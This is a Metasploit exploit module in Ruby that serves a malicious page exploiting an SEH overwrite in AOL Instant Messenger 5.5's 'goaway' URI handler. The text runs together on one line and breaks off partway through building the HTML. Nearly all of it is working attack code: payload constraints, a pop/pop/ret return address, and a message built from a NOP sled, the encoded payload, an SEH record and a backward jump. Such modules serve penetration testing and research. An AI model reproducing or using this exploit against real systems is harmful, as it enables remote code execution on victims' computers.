require 'msf/core' module Msf class Exploits::Windows::Browser::AimGoaway < Msf::Exploit::Remote # # This module acts as an HTTP server and exploits an SEH overwrite # include Exploit::Seh include Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'AOL Instant Messenger goaway Overflow', 'Description' => %q{ This module exploits a flaw in the handling of AOL Instant Messenger's 'goaway' URI handler. An attacker can execute arbitrary code by supplying a overly sized buffer as the 'message' parameter. This issue is known to affect AOL Instant Messenger 5.5. }, 'Author' => [ 'skape', 'thief ' ], 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '8398' ], [ 'MIL', '3' ], [ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ], ], 'Payload' => { 'Space' => 1014, 'MaxNops' => 1014, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", }, 'Targets' => [ # Target 0: Automatic [ 'Windows NT/2000/XP/2003 Automatic', { 'Platform' => 'win', 'Rets' => [ 0x1108118f, # proto.com: pop/pop/ret ], }, ], ], 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Build out the message msg = make_nops(1014 - p.encoded.length) + # NOP sled before the payload p.encoded + # store the payload generate_seh_record(target['Rets'][0]) + # set up the SEH frame "\x90\xe9\x13\xfc\xff\xff" # jmp -1000 # Build the HTML content content = "" + "